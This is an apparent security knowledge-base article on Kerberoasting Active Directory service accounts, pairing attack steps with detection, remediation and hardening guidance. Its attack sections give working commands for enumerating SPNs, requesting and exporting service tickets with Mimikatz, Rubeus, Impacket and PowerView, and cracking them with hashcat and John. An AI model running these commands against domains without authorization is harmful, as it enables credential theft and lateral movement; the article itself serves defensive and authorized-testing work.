Skip to Content
Kerberoasting attack targeting Active Directory service accounts

Kerberoasting attack and defense

Requesting service tickets for AD service accounts and cracking them offline, with the detection and hardening that counters it.

Nov 3, 2025
Updated Nov 22, 2026
15 min read

Description

Kerberoasting is a post-exploitation technique against Active Directory. You request Kerberos service tickets for accounts that have a Service Principal Name (SPN), then crack the tickets offline to recover the service account passwords. It works because part of every service ticket is encrypted with a key derived from the service account's password. Tim Medin presented the technique at DerbyCon in 2014.

Why it works so often:

  • Any domain user can request a service ticket for any SPN
  • Cracking happens offline, where the DC cannot see it or lock the account
  • Service accounts tend to have old, human-chosen passwords
  • Those accounts often hold more privilege than the service needs

Authorization and noise

Run this only against domains you are authorized to test. Requesting a service ticket is normal Kerberos behaviour, so a few requests blend in, but roasting every SPN in the domain at once is exactly the pattern defenders alert on. Handle cracked passwords as client credentials.

Impact

  • You get the cleartext password of a service account, which also works for NTLM, LDAP and everything else that account can log on to
  • Service accounts usually have access to several systems, so one password gives lateral movement
  • A service account in Domain Admins, or with a path to it, ends the engagement
  • Service account passwords are rarely changed, so the access lasts
  • The account's own data is exposed: databases, file shares, backups
  • Accounts used for third-party integrations and cloud sync extend the reach beyond the domain

Technical details

Kerberos authentication primer

The part of the Kerberos flow that matters here:

  1. AS-REQ: the user asks the Key Distribution Center (KDC) for a Ticket Granting Ticket (TGT)
  2. AS-REP: the KDC returns the encrypted TGT
  3. TGS-REQ: the user presents the TGT and asks for a service ticket for an SPN
  4. TGS-REP: the KDC returns a service ticket encrypted with the service account's key
  5. AP-REQ: the user presents the service ticket to the service

The KDC does not check whether the user is allowed to use the service before issuing the ticket in step 4. That decision is left to the service. Kerberoasting stops after step 4 and takes the ticket away to crack.

The Kerberoasting attack flow

Enumerate service principal names (SPNs)

A user account with an SPN is a roastable account. Find them with an LDAP query:

Enumerate Service Principal Names (SPNs)
# Using PowerShell
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

# Using SetSPN
setspn -T domain.com -Q */*

Request service tickets

With any valid domain account, request a service ticket for each SPN you found:

Request Kerberos Service Tickets
# Using PowerShell
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sql01.domain.com:1433"

Extract the tickets

Mimikatz exports the tickets that are now cached in your logon session. Rubeus does the request and the export in one step and writes hashcat-format hashes:

Extract Service Tickets from Memory
# Using Mimikatz
mimikatz # kerberos::list /export

# Using Rubeus
Rubeus.exe kerberoast /outfile:tickets.txt

Crack the tickets offline

Crack the hashes with Hashcat or John the Ripper. Mode 13100 is for RC4 (etype 23) tickets. AES tickets need mode 19600 (AES128) or 19700 (AES256) and crack far more slowly:

Offline Password Cracking
# Using Hashcat
hashcat -m 13100 tickets.txt wordlist.txt -r rules/best64.rule

# Using John the Ripper
john --format=krb5tgs tickets.txt --wordlist=rockyou.txt

Targeted Kerberoasting

Roast selectively. The accounts worth the request and the cracking time:

  • Members of Domain Admins or other privileged groups that have an SPN
  • SQL Server service accounts, which often have sysadmin rights
  • Exchange accounts, for mail and administrative access
  • Backup service accounts, which can read most of the estate
  • Application service accounts on business-critical systems

Common attack tools

Impacket

Impacket GetUserSPNs - Request Kerberoastable Hashes
# GetUserSPNs.py - Request and dump Kerberoastable accounts
GetUserSPNs.py domain.com/user:password -dc-ip 10.10.10.1 -request

# Save the hashes to a file
GetUserSPNs.py domain.com/user:password -dc-ip 10.10.10.1 -request -outputfile hashes.txt

Rubeus

Rubeus - Kerberoast Service Accounts
# Basic Kerberoasting
Rubeus.exe kerberoast /outfile:hashes.txt

# Target specific user
Rubeus.exe kerberoast /user:svc_sql /simple

# Roast AS-REPs (for accounts with "Do not require Kerberos preauthentication")
Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt

PowerView (PowerSploit)

PowerView - Enumerate and Extract Tickets
# Enumerate Kerberoastable users
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File hashes.txt

# Target specific OU
Get-DomainUser -SPN -SearchBase "OU=ServiceAccounts,DC=domain,DC=com" | Get-DomainSPNTicket

Invoke-Kerberoast (Empire)

# Request all Kerberoastable tickets
Invoke-Kerberoast -OutputFormat John | % { $_.Hash } | Out-File -Encoding ASCII hashes.txt

Detection

Event log monitoring

Event ID 4769 (a Kerberos service ticket was requested) is the main source. This filter returns successful requests for RC4 tickets:

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
      *[System[(EventID=4769)]]
      and
      *[EventData[Data[@Name='TicketEncryptionType']='0x17']]
      and
      *[EventData[Data[@Name='Status']='0x0']]
    </Select>
  </Query>
</QueryList>

What to look for in 4769:

  • Many service ticket requests from one account in a short time (more than 100 in 10 minutes)
  • RC4 tickets (encryption type 0x17) for accounts that support AES
  • Requests at odd hours or in quick succession
  • Requests from hosts that do not normally talk to those services

Event ID 4768 (a Kerberos TGT was requested) gives context around the same account:

  • Authentication from a new workstation
  • An unusual source IP address
  • A service account logging on interactively

SIEM queries

-- Splunk query for Kerberoasting detection
index=windows EventCode=4769 Ticket_Encryption_Type=0x17
| stats count by src_ip, Account_Name
| where count > 50
// Azure Sentinel KQL query
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"
| summarize RequestCount=count() by AccountName, IpAddress, bin(TimeGenerated, 10m)
| where RequestCount > 100

Honeypot service accounts

Create a decoy account with an SPN that no real service uses. Nothing legitimate ever requests a ticket for it, so any 4769 for that SPN is an alert:

# Create honeypot service account
New-ADUser -Name "svc_honeypot_sql" -ServicePrincipalNames "MSSQLSvc/honeypot.domain.com:1433" -AccountPassword (ConvertTo-SecureString "ComplexP@ssw0rd123!" -AsPlainText -Force)

# Monitor for ANY ticket requests to this SPN

Behavioral analytics

Record the normal service ticket request pattern per user and host, then alert on changes in volume, timing or encryption type. Correlate those alerts with other signs of the same account moving laterally or escalating.

Remediation

Immediate response

Start by finding which accounts were roasted:

Detect Kerberoasting in Event Logs
# Search Event Logs for suspicious TGS requests
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4769} |
  Where-Object {$_.Properties[4].Value -eq '0x17'} |
  Select-Object TimeCreated, @{N='User';E={$_.Properties[0].Value}}, @{N='Service';E={$_.Properties[1].Value}}

Reset the password of every service account whose ticket was requested, and update the services that use it. Do not set -ChangePasswordAtLogon $true on an account a service runs under. A service cannot change its own password, so it fails to log on at the next start:

Reset Compromised Service Account Passwords
# Reset compromised service account password
Set-ADAccountPassword -Identity svc_sql -NewPassword (ConvertTo-SecureString -AsPlainText "NewC0mpl3xP@ssw0rd!" -Force) -Reset

Review what the roasted accounts can do and remove what the service does not need:

# Enumerate group memberships
Get-ADPrincipalGroupMembership -Identity svc_sql | Select-Object Name

# Remove unnecessary privileges
Remove-ADGroupMember -Identity "Domain Admins" -Members svc_sql -Confirm:$false

A password reset changes the service key, so tickets issued under the old password stop working at the service. Purge cached tickets on the affected hosts. KRBTGT only needs resetting if you believe the attacker reached Domain Admin:

# On domain controller - force ticket renewal
klist purge -li 0x3e7

# Reset KRBTGT account twice (wait at least 10 hours between resets, the default maximum ticket lifetime)
# This invalidates all golden tickets

Long-term defenses

Strong service account passwords

Use random passwords of 25 characters or more for any service account that cannot be a gMSA:

# Generate strong random password
$Password = -join ((48..57) + (65..90) + (97..122) + (33..47) | Get-Random -Count 32 | % {[char]$_})
Set-ADAccountPassword -Identity svc_sql -NewPassword (ConvertTo-SecureString $Password -AsPlainText -Force) -Reset

Group managed service accounts (gMSA)

AD generates and rotates the password of a gMSA. The password is 120 random characters, which is out of reach for cracking. Backdating the KDS root key as shown is for lab use. In production, create the key and wait the 10 hours for replication:

Implement Group Managed Service Accounts (gMSA)
# Create KDS Root Key (one-time setup)
Add-KdsRootKey -EffectiveTime ((Get-Date).AddHours(-10))

# Create gMSA
New-ADServiceAccount -Name svc_sql_gmsa -DNSHostName sql01.domain.com -PrincipalsAllowedToRetrieveManagedPassword "SQL Servers"

# Install on target server
Install-ADServiceAccount -Identity svc_sql_gmsa

Then set the service's logon account to DOMAIN\svc_sql_gmsa$ in its Log On settings (for SQL Server, in SQL Server Configuration Manager). Set-Service -Credential is not a shortcut here: the parameter exists only in PowerShell 6.0 and later, and it takes a credential object with a password.

AES encryption

AES tickets are much slower to crack than RC4 tickets. Set AES on the service accounts and disable RC4 by policy:

Enable AES Encryption for Kerberos
# Configure AD to support AES
Set-ADUser -Identity svc_sql -KerberosEncryptionType AES128, AES256

# Disable RC4 encryption domain-wide via GPO
# Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options
# "Network security: Configure encryption types allowed for Kerberos" = AES256, AES128

Least privilege

# Audit service account permissions
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties MemberOf |
  Select-Object Name, @{N='Groups';E={$_.MemberOf -join '; '}}

# Remove from privileged groups
Remove-ADGroupMember -Identity "Domain Admins" -Members svc_backup

Service account monitoring

Flag service accounts whose password is older than your rotation period:

# PowerShell script to monitor service account changes
$SPNUsers = Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, PasswordLastSet
foreach ($user in $SPNUsers) {
    $passwordAge = (Get-Date) - $user.PasswordLastSet
    if ($passwordAge.Days -gt 90) {
        Write-Warning "$($user.Name) password is $($passwordAge.Days) days old"
    }
}

Restrict where service accounts can log on

  • Deny interactive logon for service accounts
  • Limit the hosts a service account may log on to
  • Restrict logon hours where the service allows it
  • Require MFA from the admins who reset service account passwords

Prevention

Account lifecycle

Rotate service account passwords on a schedule. This skeleton finds the accounts that are due:

# Automated password rotation script
$ServiceAccounts = Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties PasswordLastSet
foreach ($account in $ServiceAccounts) {
    if ((Get-Date) - $account.PasswordLastSet -gt (New-TimeSpan -Days 60)) {
        # Trigger automated password rotation
        # Update dependent services
        # Alert security team
    }
}

Separate accounts

  • One service account per service or application
  • No service account shared across systems
  • Separate accounts for each privilege level

Regular audits

# Service account security audit script
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties * |
  Select-Object Name, ServicePrincipalName, PasswordLastSet, LastLogonDate,
    @{N='PasswordAge';E={(Get-Date) - $_.PasswordLastSet}},
    @{N='AdminCount';E={$_.AdminCount}} |
  Export-Csv ServiceAccountAudit.csv -NoTypeInformation

Network segmentation

  • Isolate the systems that run under service accounts
  • Limit each service account to the network zones the service needs

Alerting

Alert on:

  • New SPN registrations, especially on user accounts
  • Privilege changes on service accounts
  • Unusual authentication patterns and failed logons for service accounts
  • Password changes on service accounts outside a change window

Verification

Validate the defenses

Find SPN accounts that still allow RC4. An account with no msDS-SupportedEncryptionTypes value is not returned by this filter and should be checked too:

# Identify accounts still using RC4
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties msDS-SupportedEncryptionTypes |
  Where-Object {$_.'msDS-SupportedEncryptionTypes' -band 0x04} |
  Select-Object Name, SamAccountName

Check password ages:

# Check password ages
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties PasswordLastSet |
  Select-Object Name, PasswordLastSet, @{N='PasswordAge';E={(Get-Date) - $_.PasswordLastSet}} |
  Sort-Object PasswordAge -Descending

Test that your detection fires:

# Controlled Kerberoasting test (with authorization)
# Using Rubeus in test environment
Rubeus.exe kerberoast /nowrap

# Verify alerts are generated in SIEM
# Confirm incident response procedures are triggered

Check the gMSA deployment:

# List all gMSAs
Get-ADServiceAccount -Filter * | Select-Object Name, DNSHostName, Enabled

# Verify automatic password rotation
Get-ADServiceAccount -Identity svc_sql_gmsa -Properties PasswordLastSet, msDS-ManagedPasswordInterval

Advanced considerations

Kerberoasting in hybrid environments

The desktop single sign-on feature of Microsoft Entra Connect creates a computer account named AZUREADSSOACC in each synced forest and registers Kerberos SPNs on it. Its key is not rotated automatically, and Microsoft recommends rolling it over at least every 30 days. Check its SPNs, encryption types and password age:

# Desktop SSO computer account created by Microsoft Entra Connect
Get-ADComputer -Identity AZUREADSSOACC -Properties ServicePrincipalName, PasswordLastSet, msDS-SupportedEncryptionTypes

In a hybrid environment:

  • Monitor authentication both on-premises and in the cloud
  • Apply the same password policy to service accounts in both
  • Use Privileged Identity Management (PIM) for cloud roles

AS-REP roasting

The related technique targets accounts with "Do not require Kerberos preauthentication" set. No SPN is needed:

# Find AS-REP roastable accounts
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth

Turn the setting off:

# Disable "Do not require Kerberos preauthentication"
Set-ADAccountControl -Identity username -DoesNotRequirePreAuth $false

Privileged access workstations (PAWs)

Manage service accounts from PAWs:

  • Dedicated hardened workstations for administrative tasks
  • No internet access or email
  • Multi-factor authentication required
  • Full logging

References

MITRE ATT&CK techniques

Microsoft documentation

Security research

Tools documentation

Next steps

On this page